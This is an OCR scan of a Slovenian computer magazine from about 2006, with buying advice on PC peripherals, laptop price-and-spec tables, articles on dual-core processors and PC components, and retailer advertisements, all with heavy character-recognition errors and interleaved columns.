Tudi, ¢e nas videokonference ve& ne priteg-
nejo, pa je lahko spletna kamera zelo koristna
zadeva. Uporabimo jo lahko tudi kot video-
nadzorni sistem v &asu, ko nas ni doma. Ustre-
zen programéek bo spremljal vse spremembe
slike vase dnevne sobe, recimo ob dovolj ve-
likih spremembah ali zaznanem gibanju pa bo
sprozil alarm in vas prek SMS-a ali elektronske
poste obvestil o dogodku. Potem samo $e sko-
&ite v najbli%jo kiber kavarno in si ogledate, za

kaj pravzaprav gre.

S
s
W,

USB-razdelilniki

Racunalniki ima-
jo vse ve¢ USB-
prikljuckov.  Vsaj
dva navadno naj-
deta prostor tudi na
prednji strani ohis-
ja racunalnika za
lazji dostop. Kljub
mnozici  USB-pri-
klju¢kov v moder-
nih ra¢unalnikih pa
jih rado zmanjka.

l%

Ali pa niso prav lahko dostopni. ReSitev za
te tefave so vsekakor USB-razdelilniki (hub).
Niso prav dragi, ponujajo pa 2, 4, 6 ali ve&
priklju¢kov. Potrebujte le $e kos podaljseval-
nega USB-kabla in primeren prostor na pisalni
mizi, kjer boste z lahkoto vdevali vse mogoce
USB-naprave.

NADOMESTKI NAMIZNIH (do 350.000 SIT)
Cena (v SIT) | 294.385 284.080 314.887 274.890 313.548 242.900
Monitor 17", 1440 x 900 15.4", 1280 x 800 14.1", 1280 x 800 17", 1440 x 900 15" 1024 x 768 14.1", 1280 x 800
Procesor AMD Sempron, 3100+ Intel Core Duo T2300, Intel Core Duo T2300, Intel Celeron-M, 1.5 GHz | Intel Pentium-M, 1,7 GHz | Intel Pentium-M, 1,6 GHz
1,66 GHz 1,66 GHz
Pomnilnik | 512 MB, DDR 400 512 MB, DDR2 533 512 MB, DDR2 533 512 MB, DDR 400 512 MB, DDR2 533 512 MB, DDR2 533
Trdidisk | 80 GB 80 GB 60 GB 80 GB 80 GB 80 GB
Grafika ATI RS482M, do 128 MB | Intel GMA950, do 224 MB | Intel GMA945, do 128 MB | Intel GMA910, do 128 MB | Intel GMA900, do 128 MB | ATI X700, 128 MB
Wi-Fl 802.11b/g 802.11b/g, Bluetooth 802.11a/b/g, Bluetooth 802.11b/g 802.11b/g 802.11b/g
Optima DVD+-RW(DL) DVD+-RW(DL) DVD+-RW(DL) DVD+-RW(DL) DVD+-RW(DL) DVD+-RW(DL)
0S Windows XP Home, angl. | Windows XP Home, angl. | Windows XP Home, angl. | Windows XP Home, angl. | Windows XP Pro, angl. Windows XP Home, angl.
Drugo bralnik pom. kartic 4v1 bralnik pom. kartic bv1 bralnik pom. Kartic bv1 bralnik pom. Kartic 4v1 bralnik pom. kartic 3v1 bralnik pom. kartic 3v1
Garancija | 2 leti 1 leto 1 leto 2 leti 2 leti 1 leto
Teia 3,2 kg 3keg 2,45 kg 3,7 kg 2,8 kg 2,55 kg
Prodaja Acord-92 FMC INEA |zid CHS Comtron
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: ICe so vase zahteve precej specificne, lahko pri katerem
od trgovcev narocite racunalnik po svoji zamisli ali pa
ga sestavite kar sami, Ce veste, kako se tej reci streze.

ratunalnik. So pa zadnje Case doiveli tudi kar
precej razvoja. Tako so na voljo modeli, name-
njeni priklju¢itvi v omreZje. Tako v krajevnem
omreZju zlahka poskrbimo za arhiv datotek, pa
za to ne potrebujemo celotnega racunalnika.
Manjsi modeli pa ubirajo drugo razvojno
pot. Vse ve& jih je opremljenih z LCD-zasloni,
MP3- ali kar multimedijskimi predvajalniki,

Bralniki pomnilniskih kartic

Fotoaparati so zadnje ase seveda digitalni.
Dostopni so in navadno se stroski konéajo z
nakupom fotoaparata in pomnilniske kartice.
Kaj hitro pa nas mine priklju¢evati fotoaparat
v ra¢unalnik za vsak prenos fotografij. Potem si
omislimo bralnik pomnilniskih kartic. In ker so
navadno kar univerzalni, tudi ni treba prav po-
sebej razmisljati, kak§nega potrebujemo. So pa
silno razli¢ni tako po obliki kot tudi po kako-
vosti. In tudi cenovno. Vé&asih je dobro odsteti
kak tolar veg, saj potem
ni toliko te¥av s prepo-
znavanjem kartic. Tako
bo prenos fotografij v vag
ratunalnik hiter in prijeten.

Zunanji trdi diski

Vse bolj priljubljeni so za-
dnje ¢ase tudi zunanji trdi diski.
Lahko gre za Cisto navadne trde
diske, kot jih imate tudi sicer v
svojem racunalniku, le da so v
posebnem ohisju in omogo-
Cajo prenasanje podatkov,
kakor koli se vam zaho-
Ce. V nekoliko manjsih
modelih pa so vdelani
trdi diski, ki navadno
kraljujejo v prenosnih
ratunalnikih. Tovrst-
ne naprave so le nekaj
tiso¢akov drafje kot
trdi diski za vdelavo v

MOBILNI (do 500.000 SIT

bralniki
8kih kartic in Se ¢em.
Prav vsi so seveda za
dologen namen upo-
rabni in silno zaZele-
ni, &e le potrebujete
kaj od tega, kar znajo
poceti. ;

USB-kljucki
Pri
kljukih pa se %e malce spra-
Sujem, ali $e gre za prenos-
ni pomnilnigki medij ali
Ye polasi za kos nakita.

pomnilni- -

USB-pomnilnigkih

Trenutno »moderni« so
taki s prostornino vsaj
1 GB in majhni mora-
jo biti. Ce so %e lepi na
pogled, pa lastniki %e
skagejo v zrak in kozol-
ce prevracajo, potem pa
jih ponosno nosijo na

posebnih vrvicah okrog
vratu. Da se vidi. Poznam

pa zelo veliko uporabnikov USB-pomnilniskih
klju¢kov, ki teh v resnici sploh ne potrebujejo.
Toda zaradi presezka navadno ne boli glava, in
e se v denarnici ne pozna prav hudo, kar se
navadno ne, je vse v najlepSem redu.

Seveda tudi ta silno uporaben prenosni
pomnilniski medij ne sme biti namenjen samo
eni funkciji. Zato jih je veliko in vse ve¢ seve-
da opremljenih z MP3-predvajalniki. Ali pa je
obratno? Kakor koli %e, drug izgovor, poslusa-
nje glasbe in Se nekaj tolarjev vel. Hec pa je,
ko za¢nemo uporabljati takle USB MP3-pred-

Ce potrebujete
racunalnik za
vsakdanje delo in Ce to
delo ni posebej zahtevno
za racunalnik, potem je
prakticno popolnoma vseeno,
kje in kaksen racunalnik

kupite.

vajalnik samo za poslusanje glasbe in pozabi-
mo, da je mogole z njim prenasati tudi druge
podatke. Potem si za¥elimo omisliti $e enega
samo za podatke. Pa smo tam.

In Se vec je takih napravic, ki jih vse bolj
potrebujemo, so seveda nujne, razen &e niso.
Edini posten nasvet, ki vam ga lahko dam, je
dober in tehten premislek o tem, ali dolo¢eno
napravo resni¢no potrebujemo. Za tele »drob-
narije« se kaj hitro nabere prav zajeten kup
oditetega denarja. In ker je skoraj vsak mesec
na trgu kaj novega, se nam zaéno po predalih
potikati »odsluZene« naprave. Veasih je treba
malo stisniti zobe in premisliti, da se ne poda-
mo na trnovo pot zbiratelja tovrstnih naprav.

|

383.880

423.200

329.900

285.900

299.980

497.000

12.1", 1280 x 768

15", 1400 x 1050

12.1",1280 x 800

13.1", 1280 x 768

14,1280 x 768

12.1", 1024 x 768

Intel Pentium-M, 1,1 GHz

Intel Core Duo T2400, 1,83
GHz

Intel Core Duo T2300, 1,66
GHz

Intel Pentium-M, 1,8 GHz

Intel Pentium-M, 1,86 GHz

Intel Pentium-M, 1,6 GHz

512 MB, DDR2 400 512 MB, DDR2 667 512 MB, DDR2 533 1 GB, DDR 400 512 MB, DDR2 533 512 MB, DDR 400

30 GB 80 GB 60 GB 80 GB 80 GB 60 GB

Intel GMA900, do 128 MB | Intel GMA950, do 256 MB | Intel GMA900, do 128 MB | Intel GMA900, do 128 MB | Intel GMA900, do 128 MB | Intel GMA900, do 128 MB
802.11b/g, Bluetooth 802.11a/b/g, Bluetooth 802.11h/g, Bluetooth 802.11b/g 802.11h/g, Bluetooth 802.11a/b/g, Bluetooth

/ DVD+-RW(DL) DVD+-RW(DL) DVD+-RW(DL) DVD+-RW(DL) CD-RW(DVDROM)
Windows XP Pro, angl. Windows XP Pro, angl. Windows XP Home, angl. Windows XP Home, angl. FreeDOS Windows X Tablet Edition, angl.
bralnik pom. kartic 3v1 bralnik pom. kartic 3v1 bralnik pom. Kartic 3v1 bralnik pom. kartic 4v1 - bralnik prstnih odtisov

3 leta 3 leta 2 leti 2 leti 3 leta 3 leta

1,14 kg 2,1kg 1,95 kg 2 kg 1,9 kg 1,24 kg

FMC Gambit Trade Acord-92 TEAL Gambit Trade Comtron
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osebni racunalniki: procesorji

Vec jeder — vec ali manj muzike?

Ze skoraj leto dni je od prihoda prvih dvojedrnih procesorjev na trg osebnih
racunalnikov. Danes dvojedri procesorji niso ve¢ prisotni le v cenovno najvisjem
razredu, saj je najsibkejsi dvojedrik Intel Pentium D 805 na voljo Ze za 30 tisoCakoy,
Siroko, primerljivo ponudbo pa ima tudi AMD. Dvojedrniki so spomladi prisli tudi v nase
prenosnike. Pogledali smo si, ali obstaja dober razlog za prehod na dvojedrni sistem.

Pise: Jaka Mele

jaka.mele@mojmikro.si

rocesor je poleg koli¢ine sistemskega
pomnilnika najpomembnejsa kompo-
nenta osebnega raunalnika, in njego-
va hitrost in nabor funkcij bosta imela
najvedji vpliv na vsakodnevno delo (grafi¢no
zahtevne igre so izvzete, saj je tam pomemben
grafi¢ni procesor na grafi¢ni kartici).
Dandanes je izbor procesorja v glavnem
stvar, ki odlo¢a o tem, kaksen ra¢unalnik bomo
kupili. Medtem ko je na namizju po izbiri pro-
cesorja mo¢ izbirati e prakti¢no vse kompo-
nente, pa smo pri prenosniku isti hip naredili
Ye skoraj vecino izbire, saj nam preostane le Se
izbira velikosti zaslona in ohigja ...

ENO ALl VEC JEDER?

Procesoriji so se ve¢ let ved¢inoma razvijali v
smeri miniaturizacije in hitrejSega delovanja.
Koliko ukazov procesor obdela v enem taktu
ure, definira zasnova mikroarhitekture, in tu je
bil AMD v zadnjih treh letih boljsi od Intela.
Pa vendar je Intelu uspelo narediti glede takta
hitrejse procesorje. Dirka bi lahko $la v nedo-
gled, ¢e ne bi ponagajala fizika, saj so predno-
sti, ki jih je prinesel manjsi proizvodni proces,
zaradi omejitev uporabljenih materialov za-
sentile teZave, ki jih je prinesla miniaturizacija
— ve&ja energijska poraba, segrevanje ...

Tako se je razvoj namesto navzgor raziril v
Sirino in v procesorje so priceli vdelovati nove
tehnologije, funkcije in optimiranja pogosto
rabljenih ukazov ... Pa vendarle je e danes na
trgu veliko izbire med enojedrnimi in ve¢jedr-
nimi procesorji. Kateri je bolji za koga? Od-
govor se skriva v nadinu in vsebini dela. Ce
uporabljamo le eno aplikacijo, ki je ratunsko
intenzivna in ni pisana veé&nitno, potem jo bo
hitreje izvajal enojedrni procesor z visokim de-
lovnim taktom. Ce pa sofasno poganjamo ve
aplikacij ali ve¢nitno pisano aplikacijo, pa bo
sistem odzivnejsi in delo opravljeno hitreje z
dvojedrnim procesorjem.

POGLED V ZAKULISJE

Vse se zacelo z Intelovo tehnologijo Hy-
perThreading, s katero se je fizi¢ni procesor
sistemu la?no predstavil kot dvoprocesorski
sistem. Da bi razumeli, zakaj je taka pretveza
pozitivno vplivala na zmogljivost in hitrost iz-
vrievanja racunalnika, moramo vedeti, kako
operacijski sistem procesorju dodeljuje nalo-
ge. Procesor je sposoben izredno hitro izvajati
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ukaze, in programi so pisani kot zaporedje ve&
ukazov. Ker se pogosto zgodi, da procesor do-
lo¢en ukaz izvrsi zelo hitro, operacijski sistem
pa nov ukaz poslje Sele, ko dobi potrditev, da je
prejdnji kondan, so bistre glave ugotovile, da
procesor kar nekaj Casa preZivi neizkoris¢en.
HyperThreading reSuje poloZaj, saj en fizi¢ni
procesor zdaj dobiva ukaze po dveh cevovodih
(za vsak navidezni procesor eden), kar pome-
ni, da jih kombinira in skupno izvede hitre-
je, kot ¢e bi vse ukaze razporedil v eno samo
vrsto (procesor pa je glede na ¢asovno enoto
tudi veliko bolje izkorid¢en). Tipicen primer je
recimo stiskanje datoteke med igranjem igre,
v ozadju pa deluje e protivirusni program. Ce
imamo samo en procesor, se bo delovanje vseh
treh procesov zatikalo, medtem ko HyperTh-
reading stanje malce izboljsa.

N Tudi okoli novega leta
prihajajoci sistem
Windows Vista se bo mocno
naslanjal na vecjedre
procesorje.

KORAK DLJE

Seveda je Se boljsa reditev ve& procesorjev
oziroma ve&jedrni procesorji. Z vedno manj-
§im proizvodnjim procesom so tranzistorji v
procesorjih postali tako majhni, da stiskanje
vet celotnih procesorjev v eno samo ohigje ni
ve¢ nemogoce.

Dodatni prednosti ve&jederne tehnologije
sta ob vedji zmogljivosti tudi manj$a poraba
energije in hladnejse delovanje. Razvoj zadnji
nekaj let je namre& pospeseval takt izvajanja v
procesorju, s ¢imer je bila povezana tudi pora-
ba energije in gretje. Dvojedrni procesor, kjer
jedri delujeta pri 1,5 GHz, je po zmogljivo-
sti bolj$i od enega samega 3 GHz procesorija,
energijsko gledano pa je 40 % var&ne;jsi. Z rah-
lim dvigom takta tako ob spremembi arhitek-
ture, kar ravno te dni pocne Intel, izbolj$ajo
razmerje zmogljivost/poraba energije kar za

30-50 %.
NAMIZNI RACUNALNIKI

Razmerja mo&i na namizju so dokaj poraz-
deljena, saj imata tako Intel kot AMD svoje
prednosti in slabosti. Oba proizvajalca imata
v najni¥jem cenovnem segmentu le enojedre
procesorje, medtem ko v srednjem razredu naj-
demo uravnoveseno ponudbo obeh, v visokem

razredu pa prevladujejo dvojedrniki.

Izbira med Intelovim procesorjem Pentium
D ali AMD-jevim Athlonom 64 X2 niti ni te-
Yavna, saj je AMD s svojo arhitekturo v rahli
prednosti, procesorji pa delujejo tudi hladne-
je in energijsko u¢inkoviteje. Zal pa je AMD
glede na primerljive Intelove procesorije dra%ji.
Tako bo izbira pravega procesorja ostala indivi-
dualna odlogitev, saj splo§nega recepta ni.

Povejmo le, da se bo do avgusta na trgu pojavila
Intelova nova generacija dvojedrnikov imenovana
Conroe, ki bo, soded po prvih testih, prevesila tako
zmogljivost kot energijsko u¢inkovitost v Intelov
prid, in to za ve€ kot 40 %. Zato svetujemo, da v
primerih, ko nakup ni nujen, pocakate Se preko
poletja in se osredotoite na jesensko, septembrsko
(cenejse) nakupovanje ...

PRENOSNIKI

V svetu prenosnih racunalnikov je v pred-
nosti Intel, ki je spomladi predstavil osveZeno
procesorsko dru?ino Core Duo, ki temelji na
jedru Yonah. Tudi sicer je Intel s svojim kon-
ceptom mobilne tehnologije Centrino in zdaj
Centrino Duo v prednosti, saj ima pred AMD-
jem dve leti razvojne prednosti in izkugenj.

Intel bo tudi za prenosne ra¢unalnike pozno
jeseni predstavil novo generacijo arhitekture,
vendar pa v primerjavi z namiznimi procesorji
Yonah %e zdaj predstavlja korak naprednejso
arhitekturo in bo tako prednost jesenske osve-
zitve najvel 20 %.

AMD v &asu pisanja na trgu ni imel dvojedme-
ga mobilnega procesorja, kar pa je popravil sredi
junija, ko je predstavil dvojedrni model proce-
sorja Turion 64 X2. Ker novinca doslej $e nismo
imeli prilofnost preizkusiti, podrobnej$e ocene
ne moremo dati, vse pa ka%e, da se na mobilnem
podro¢ju Intelova prednost zmanjsuje.

KUPITI ALI NE?

Ce kupujete nov ra¢unalnik, ki bi ga radi
uporabljali vsaj dve leti, je odgovor jasen
— vedjedrni procesor potrebujete. Tudi okoli
novega leta prihajajodi sistem Windows Vista
se bo mo¢no naslanjal na veg&jedrne procesor-
je, in &e %e kupujete novega, poskrbite da bo
64-bitni. Na tem lahko %e vedno poganjate
tudi 32-bitni operacijski sistem, vendar pa se
bo mnoZi¢ni prehod na 64-bitnega zgodil prav
z Visto. Pomladi 2007 bomo ugledali tudi prve
namizne $tirijedrne procesorje, kjer se zna za-
radi AMDjeve uglajenejse arhitekture AM2
razmerje moci spet izenaditi.

Ce svoj namizni racunalnik uporabljate za
pisarnigka dela in internet, dveh jeder verjet-
no ne potrebujete. Stvar pa je drugaéna v svetu
prenosnih rac¢unalnikov, saj dve pocasnejsi je-
dri pomenita cca. enako ali vi§jo procesno mo¢
ob veliko ni%ji energijski porabi, s ¢imer se ¢as
avtonomije prenosnika podalj$a. Prenosniki z
dvojedrnimi procesorji brez tefav dosegajo &as
avtonomije med 3 in 4 urami. W
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v RDECI ali MODRI barvi

MONSTER A3000

AMD 64 3000+ (754)
512 MB DDR

160GB 7200 S-ATA I
PCI GF 7300 256MB

DVD-RW enota

ATX MidiTower

+ Tipkovnica

+ Opticna miska

+ Web kamera

+ Zvocniki 2.1

MONSTER A3200

AMD 64 3200+ (939)
512 MB DDR

160GB 7200 S-ATA Il
PCl nVidia GF 6600GT 128MB
DVD-RW enota

ATX MidiTower

+ Tipkovnica W
+ Opticna miska™ .
+ Web kamera
+ Zvocniki 2.1

MONSTER DC2660

Intel PentiumD 2,66 DualCore
512 MB DDR Il

- Atraktiven in eleganten izgled
2 izbirate lahko v modri ali rdeci barvni kombinaciji
" vsi deli racunalnika so med seboj usklajeni

160GB 7200 S-ATA Il - - v 2

PCI ATI X550 128MB & - Tiho in zanesljivo delovanje

DVD-RW enota _ V sistemih Monster so vgrajeni kvalitetni in zmogljivi
ATX MidiTower "\, napajalniki in hladilni elementi z tihim delovanjem
+ Tipkovnica | - Multimedia

£ Opticna miska PriloZzena barvno usklajena WEB kamera

o} in kvaliteten zvocniski komplet z subwooferjem.

. Igre

Vgrajena graficna kartica bo kos tudi
najnovejsim igram.

- Garancija 24 mesecev

4

AMD Sempron Al
1024 MB DDR 11 (2*51
250GB 7200 S-ATA Il
PCI ATI RX800 128MB
DVD-RW enota
ATX MidiTower

+ Tipkovnica
‘+.0pticna miska

Skupina za Informatiko Racunalnistvo In Servis

KAMNIK E-misija d.o.0, Ljubljanskac. 21d, Tel.: 01 830 35 30 METLIKA Art d.o.0., Crnomaljska 1., Tel.: 07 30 63 450
CERKNICA Izmisli.si., Cesta 4. Maja 61, Tel.: 01 709 6154 NOVA GORICA Eniac d.o.o., Rejceva ulica 3, Tel.: 05 33 33 555
CELJE Sebanet d.o.o. Ljubljanska 14 Tel.: 03 490 9| 50 NOVO MESTO E-misija d.o.0, Zwittrova ul.1, Tel.: 07 337 25 70
CRNOMEL] Art d.o.0., Zadruina cesta 30, Tel.: 07 3569 310 POSTOJINA Klikshop, Trzaska cesta 30, Tel.: 05 72 04 888
HRASTNIK Asist Matek & Co. D.n.o. Cesta 3.julija |, Tel.: 03 56 46 541 RADENCI Partners d.o.o., Radgonska cesta 12, Tel.: 02 56 69 486

IDRIJA ComCom d.o.0. Lapajnetova ulica 029, Tel.: 05 372 20 20 RAKEK Uning d.o.o0., Unec 25, Tel.: 01 70 96 440

IZOI__A Delta , Trgovska 4, Tel.: 05 640 22 55 ROGASKA SLATINA Bios Rac. InZeniring , Brestovska 27, Tel.: 03 58 14 588
KOCEV|E Macek Servis, Tomsiceva |3, Tel.: 0] 89 53 512 SLOVENJ GRADEC Miron d.o.0., Ronkova 4, Tel.: 02 88 39 120

KOPER Trgovina Megabyte, Stani¢ev trg | |, Tel.: 05 627-46-99 SL. BISTRICA Ultra - Impex d.o.0., Ljubljanska cesta 80, Tel.: 02 81 82 860
KRAN] Elektronika Strnisa, Jake Platise |7, Tel.: 04 235 00 00 SL. KONJICE Ultra - Impex d.0.0., Mestni trg 16, Tel.: 03 75 91 630

KRAN)] Abakus trading, d.o.o., Vodopivéeva |7, Tel.: 04 23 68 656 SKOFJA LOKA Techno foto hi-fi video, Kapucinski trg 8b, Tel.: 04 512 8080
LJUTOMER Epro Ljutomer d.o.o. lvana Kauci¢a cesta 24, Tel.: 02 58 41 292 TREBNJE Ribera d.o.o., Stari trg 5A Tel.: 07 30 41 802

LOGATEC Prolog d.o.o., Trzaska | 14, Tel.: 01 75 90 270 VELENJE Flop d.0.0., Saleska 19 A, Tel.: 059 011 666

LOGATEC Klikshop, Cankarjeva 5, Tel.: 01 75 09 504 VRHNIKA Molek servis , Vrtnarija 3, Tel.: 01 75 05 170

MARIBOR Bakus d.o.o., Na poljanah 20, Tel.: 02 42 12 172 2ALEC Agrina Informatika,d.o.0. Savinjska cesta 25, Tel.: 03 71 21 410
MENGES AZ net d.o.o. Glavi¢eva ulica |, Tel.: 01 72 91 263 ZIRI Gluhicom d.o.0., Jezerska ulica 1, Tel.: 04 51 06 090

WWW.SIrIS.Si

Naroénikom intemetnega
dostopa preko VOLJADSL
priznamo dodatnih

5% popusta

Opravicujemo se za morebitne napake v oglasu. Pridrzujemo si pravico do spremembe cen. Cene vsebujejo DDV in veljajo ob placilu z gotovino.



osebni raCunalniki: komponente

Na kaksne limanice nas (ne) lovijo?

Komponente, iz katerih so sestavljeni osebni
racunalniki, se neprestano razvijajo, in generacije si
sledijo v Casovnem okviru 6 do 18 mesecev. To pomeni,
da bo nas ratunalnik v najboljsem primeru popolnoma
zastaral v letu in pol, veliko moZnosti pa imamo, da ze
veliko prej. Kaksne so spremembe med generacijami
komponent, katere tehnologije so trenutno vroce

in zakaj jih (ne) potrebujemo? Kaj je le marketinska
»fora, na katero »padamo« in po nepotrebnem

zapravimo denarce, in kaj je res koristno?

PiSe: Jaka Mele
jaka.mele@mojmikrosi

sebni racunalniki so Solski primer
modularnosti. Sestavljajo jih na-
mre¢ komponente, ki jih lahko skozi
Cas posamezno nadgrajujemo, me-
njamo, dopolnjujemo ... Dandanes se da tako
podaljsati Zivljenjsko dobo vsakemu namiznemu
racunalniku, ¢eprav je bilo e pred nekaj leti te%-
ko nadgrajevati racunalnike z blagovno znamko
(HP, Dell, IBM ...), saj so bile njihove kompo-
nente skrbno izbrane in povezane v celoto, ki jo
je zaokrozil in zapecatil BIOS. Danes povecini to
ni ved tefava, saj vsi proizvajalci zavoljo poceni
komponent uporabljajo standardne dele.

NAMIZNI RACUNALNIKI

Dobimo jih %e za manj kot 100 tiso&akov z
LCD-monitorjem vred, pa vendar lahko cena,
e Yelimo specifitne komponente, reSitve in
firme, naraste tudi na petkratnik tega zneska.
Dandanes navzgor namre& ni veé omejitev.

POSEBNA
PONUDBA

www.netgear.com
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Matiéne plosée in vezni nabori

Vezni ali sistemski nabori, osnova na katerih
gradijo mati¢ne plose, prav v poletnih mese-
cih dofivljajo posodobitve. Poleg uveljavljenih
imen, kot so Intel, VIA, SIS in nVidia, se vse
bolj ambiciozno na tem delu trga uveljavlja tudi
ATI. Regitve se delijo glede na tip procesorja,
ki ga podpirajo, torej med AMD in Intel.

Za AMD verjetno najboljsi nabor izdeluje
nVidia, ki je prav v zacetku junija osve¥ila po-
nudbo in predstavil dru¥ino nForce 5, ki pri-
naa podporo za nove AMD-jeve procesorje
na vmesniku AM2. Ti prinaSajo podporo za
pomnilnik DDR 2 in ob prakti¢no isti ceni po-
nujajo, e ne ve&jo zmogljivost pa vsaj daljso
Yivljenjsko dobo. So¢asno se je Socket 939 iz
AMD-jevega sveta po&asi zalel poslavljati, kar
pomeni, da se bo dalo v prihodnjih nekaj me-
secih na ta raun ujeti odli¢ne cene, in Ce ste
zadovoljni z malce starej$o, a Se vedno izredno

wéinkovito in zmogljivo
tehnologijo, je to zani-
miva prilofnost. PloiCe,
ki gradijo na Se starejsih
vmesnikih (pred vmesni-
kom Socket 939), zaradi
zastarelosti odsvetujemo.

Verjetno najveé pozor-
nosti pa bodo v poletnih
mesecih doZiveli vezni na-
bori in plo¢e s podporo za
Intelove nove procesorje
Conroe (Intel Core 2),
ki gradijo na vmesniku
LGAT775. Nove procesorje
podpirajo Intelov nov vez-
ni nabor 1965 ter osveZena
i975X ter 945 — to pome-
ni, da starejSe mati¢ne plosée na teh dveh nabo-
rih procesorja najverjetneje ne bodo podpirale,
zato pazljivo! Novi procesor bodo podpirale se
nVidiine razli¢ice nForce 5 za Intel, ATI-jev
osvezen Xpress3200 ter VIA PT880/890.

Vse novejse plosée torej podpirajo pomnilnik
DDR 2, novo zaporedno komunikacijsko tehno-
logijo PCI Express, ki na novih mati¢nih plos-
&ah nadomes¢a predhodna vodila tipov PCI in
AGP, ter krmilnike Serial ATA II, ki ponekod
podpirajo tudi konfiguracije RAID do tipa 5.

Ne glede na tip procesorja, pa v obeh taborih
obstajajo dvojne grafi¢ne resitve, kar pomeni
da imajo plosce dve re%i PCIE, kjer lahko z nVi-
dino resitvijo SLI ali ATI-jevo CrossFire grafi¢-
no mo¢& z dodatno grafi¢no kartico podvojimo.
Tu bodite pozorni, da sta obe re?i PCIE deklari-
rani kot x16, kar pomeni najvec¢jo prepustnost
tega vodila. Intelov 1965 za CrossFire tega $e ne
omogoca, SLI-ju pa se Intel sploh izogiba.
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Na mati¢nih plo$¢ah najdemo Se kopico
tehnologij, ki so vezane na delovanje sistema,
zmo?nost navijanja komponent, enostavno
nadgradnjo BIOS-a in hitro odkrivanje napak
... Nekje najdemo tudi razsiritvene module v
obliki wi-fi kartic, vmesnikov bluetooth, avdio
vmesnikov in drugega. Te se med proizvajalci
mati¢nih plod¢ razlikujejo, in trenutno velja
poudariti, da je v vodstvu ASUS. Sledita MSI
in GigaByte, drugi pa odvisno od modela.

Ker je velik del teh funkcij »marketinske«
narave predlagamo, da pred nakupom prek
interneta preverite funkcije Zelene mati¢ne
plos€e in jih primerjate s konkuren&nim pri-
merljivim izdelkom. Ker je mati¢na plosca
hrbtenica vsakega ratunalnika, velja izbrati
dobro plos¢o zanesljivega proizvajalca, ki bo
znal izdelek podpirati vel let, e zlasti boste
ob&asno le nadgradili procesor.

Tu velja zapisati $e to, da boste z nakupom ma-
ti¢ne plosce za platformo AMD AM2 glede na-
lozbe veliko varnejsi, kot ¢e boste vstopili v svet
Intelovih procesorjev, saj AMD svoje platforme
menja le vsakih nekaj let, Intel pa Zal vsaj pollet-
no. Ce pa se Ze odlotite za Intel, je morda boljsa
izbira kot Intelov vezni nabor ATI-jev Xpress
3200, ki naj bi za platformo Conroe prisel na po-
lice 23. julija letos. njegov pomnilniski krmilnik

pa naj bi podpiral kar do DDR2-1500.

Pomnilnik

Z AMD:-jevim prehodom v svet DDR 2 (ki
ponuja predvsem ni%jo energijsko porabo in
vi§jo prepustnost) se je cena pomnilnika zacela
spuscati pod ceno pomnilnika DDR. Tako ka-
paciteta modulov kot prepustnost in dostopni
Casi (kar odraZa zakasnitve pri dostopu do pom-
nilnika) se s¢asoma izboljSujejo. Priporo¢amo
vam, da si izberete najhitrejsi pomnilnik, ki ga
va¥a mati¢na plos¢a (procesor) podpira. Ta hip
je to DDR 2-800, saj hitrejSega vsaj uradno
ne podpira Se nobena platforma, ¢eprav je na
trgu %e opaziti prve module DDR 2-1066, ki pa
jih lahko izkoristimo le na nekaterih plos¢ah
z navijanjem procesorja in celotnega pomnil-
niSkega podsistema. Pomnilnik DDR(1) se
pocasi poslavlja, medtem ko se DDR 3 ne bo
pojavil pred prvo polovico 2007, saj ga ta hip
ne podpira noben proizvajalec (procesorjev,
mati¢nih plos¢).

Shranjevanje

Trdi diski so navkljub (tudi nasim) dvomom
postali zanesljivejsi, hitrejdi in vecji kot kadar-
koli doslej. Vsi proizvajalci so usvojili perpendi-
kularno tehnologijo, s katero lahko podeseterijo
gostoto zapisa, kar pomeni, da se prehod na ho-
logramske zapise zavoljo razlike v ceni in kapaci-

teti ne bodo zgodili prehitro. Seagate je nedavno
predstavil 750 GB trdi disk z vmesnikom Serial
ATA II (3Gbit/s), v strefniskih in RAID-okoljih
se je zaradi vrsti¢enja ukazov NCQ (native com-
mand queing) pove&ala hitrost dostopa. Do kon-
ca leta bo Seagate predstavil 1 TB disk, vse kaZe,
da bo vmesnik Serial ATA II ostal z nami vsaj do
konca leta. Naslednik: Serial ATA 3 (6 Gb/s) se
na trgu ne bo pojavil pred sredino 2007, saj za
to tudi ni velike potrebe. Ozko grlo so $e vedno
sami diski, ne pa komunikacijski kanal med diski
in preostankom sistema.

Opti¢ne enote

Se vedno smo v &asu DVD-zapisovalnikov,
pri Cemer so zdaj Ze vse enote na prodajnih po-
licah zmoZne dvoslojnega zapisovanja (DVD+-
R9 oz. DVD-DL). Ceprav so bile napovedi
podjetij, ki stojijo za tehnologijami modrega
laserja (Blu-ray in HD DVD) glasne, pa smo
ugledali Sele prve ROM-enote (bralnike), prve
zapisovalne enote pa na trgu ne bodo prej kot
septembra. Cene teh se bodo sprva vrtele okoli
1000 USD, kar pomeni, da bo prodor na trg do-
kaj pocasen. Tako si je DVD kupil vsaj $e dve
leti %ivljenjske dobe. Zanimivo je to, da nav-
kljub poCasnemu opus¢anju vzporednega (pa-
ralelnega) vodila ATA, vecina opti¢nih enot
$e vedno ni na vodilu SATA, saj naj bi imeli
nekaj te¥av z osnovnimi gonilniki. Kakorkoli
%e, glede na to, da Intel z veznim naborom 1965
nima ve¢ podpore za PATA, predlagamo, da ob
nakupu nove enote vztrajate pri vodilu SATA,
kar bo omogotilo, da bo va$a enota uporabna
e nekaj let. Razlika v ceni od osnovnih 10 ti-
sotakov ne bi smela biti ve¢ kot 30 %.

Grafika

Do pozne jeseni bo na podrogju grafike pre-
cej¥nje zatisje, saj tako nVidia kot ATI priprav-
ljata jesensko osveZitev, ki pa se lahko zaradi
poznega Windows Viste prestavi v ponovoletni
Cas. N'Vidiin G80 bi se lahko na trgu pojavil Ze
avgusta, ATI-jev R600 pa oktobra. Oba proce-
sorja naj bi bila zdruZljiva s knjiznico DirectX 10
in s sen¢ilnim modelom Shader Model 4, ki ga
prinasa Windows Vista. Sicer pa smo v zadnjem
letu videli paralelizem — nVidia je predstavila
dve grafi¢ni kartici v sistemu (SLI) ki delujeta
skupaj in dosegata boljse rezultate, ATI pa ni
ostal dol?an s svojo CrossFire. Ker gre za vr-
hunske kartice, katerih cena se za najmo&nejse
modele dviga krepko preko 100 tisocakov, sve-
tujemo preudarnost pri nakupu. Za pogon Win-
dows Viste bo dovolj kartica, strojno zdruzljiva
s knjiZnico Direct X 9.0, kakr$ne pa se tako v
svetu ATI-ja kot nVidie zaénejo %e pri 20 tiso-
Cakih in %e s prej¥njo generacijo. Za domaco in

osebni racunalniki: komponente

sluzbeno pisarnisko rabo ratunalnika utegnejo
povsem zado$¢ati tudi na mati¢no plos€o vde-
